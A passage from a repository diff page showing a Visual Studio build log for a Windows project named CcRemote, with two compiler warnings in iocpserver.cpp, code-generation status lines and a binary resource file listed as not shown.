||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
正在生成代码
|
||||
All 523 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
BIN
CcRemote/CcRemote/Release/CcRemote.res
Normal file
BIN
CcRemote/CcRemote/Release/CcRemote.res
Normal file
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user